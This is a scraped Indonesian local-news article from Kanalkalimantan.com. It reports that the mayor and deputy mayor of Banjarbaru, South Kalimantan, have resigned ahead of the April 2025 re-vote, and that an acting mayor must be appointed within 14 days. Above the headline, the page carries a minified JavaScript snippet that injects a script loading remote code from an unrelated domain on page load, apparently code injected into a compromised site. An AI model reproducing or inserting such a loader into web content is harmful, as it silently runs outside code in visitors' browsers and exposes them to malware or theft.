(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kekosongan Kepala Daerah di Ibu Kota Kalsel


KANALKALIMANTAN.COM, BANJARBARU –  Posisi kepala daerah di Ibu Kota Provinsi Kalimantan Selatan harus diisi selambat-lambatnya 14 hari setelah pengumuman mundur Wali Kota dan Wakil Wali Kota Banjarbaru dalam rentang waktu sepekan.

Kekosongan jabatan kepala daerah ini dialami Kota Banjarbaru menjelang Pemungutan Suara Ulang (PSU) Pilwali Banjarbaru yang akan digelar pada 19 April 2025 mendatang.

Kepala Bagian Tata Pemerintahan Setda kota Banjarbaru, H Indra Putera SSTP MM mengatakan, kekosongan jabatan kepala daerah ini tidak akan berlangsung lama, sebab sesuai aturan Undang-Undang, posisi Penjabat Wali Kota Banjarbaru harus segera diisi tanpa penundaan.

Baca juga: Langkah Mundur Wartono dari Wawali Banjarbaru, Klaim Hindari Konflik Kepentingan PSU

“Sesuai peraturan perundang-undangan yang berlaku, posisi Penjabat Wali Kota harus segera diisi tanpa penundaan yang tidak perlu,” ujar Kabag Tata Pemerintahan Setda Banjarbaru.

Secara umum, Indra menjelaskan, pengisian jabatan harus dilakukan dalam waktu paling lama 14 hari setelah terjadi kekosongan.

“Sebagaimana diatur dalam peraturan terkait pemerintahan daerah dan pengangkatan penjabat sementara,” sambung dia.

Baca juga: Kekosongan Wali Kota di Banjarbaru, Ketua DPRD: Plh atau Pjs Diputuskan Gubernur

Saat ini, katanya, mekanisme pengangkatan Penjabat Wali Kota masih menunggu usulan dari Gubernur serta atas persetujuan Kemendagri.

“Setelah pak Wartono mengundurkan diri, Gubernur akan mengusulkan calon penggantinya kepada Kementerian Dalam Negeri (Kemendagri),” ungkapnya.

“Kemudian, Kemendagri akan meninjau dan memberikan persetujuan sebelum menetapkan Penjabat Wali Kota yang baru,” jelasnya.

Baca juga: Aditya Tinggalkan Hiruk Pikuk Politik, Pilih Komisaris BUMN

Pada Kamis (13/3/2025) kemarin, Wakil Wali Kota Banjarbaru Wartono menyusul mengumumkan berhenti dari jabatannya setelah Wali Kota Banjarbaru Aditya Mufti Ariffin mengumumkan mundur sepekan sebelumnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

57 Pelamar Lolos Seleksi Administrasi Uji Kompetensi KPID Kalsel 2024-2027

KANALKALIMANTAN.COM, BANJARBARU - Komisi Penyiaran Indonesia Daerah (KPID) Provinsi Kalimantan Selatan mengumumkan puluhan pelamar yang… Read More

23 menit ago

Gunungan Sampah di Veteran Banjarmasin, Darurat Sampah Makin Menjadi

KANALKALIMANTAN.COM, BANJARMASIN – Darurat sampah di Banjarmasin sudah tak bisa ditolerir, keterbatasan titik kumpul sampah… Read More

13 jam ago

Sahrujani – Hero Setiawan Bertekad Membawa HSU Bangkit

KANALKALIMANTAN.COM, AMUNTAI – “HSU Bangkit!”, semangat itu terlontar saat Bupati Hulu Sungai Utara (HSU) H… Read More

14 jam ago

Langkah Mundur Wartono dari Wawali Banjarbaru, Klaim Hindari Konflik Kepentingan PSU

KANALKALIMANTAN.COM, BANJARBARU - Tim Pemenangan pasangan calon Wali Kota dan Wakil Wali Kota Banjarbaru Lisa… Read More

16 jam ago

Bupati Sahrujani Kaji Pemberian Bunga Ringan Program KUR ke UMKM

KANALKALIMANTAN.COM, AMUNTAI - Kabar gembira bagi pelaku Usaha Mikro Kecil Menengah (UMKM) di Kabupaten Hulu… Read More

18 jam ago

Pererat Silaturahmi, Ketua TP PKK HSU Hadiri Pertemuan Rutin GOW

KANALKALIMANTAN.COM, AMUNTAI - Ketua Tim Penggerak (TP) PKK Kabupaten Hulu Sungai Utara (HSU) Hj Murniati… Read More

22 jam ago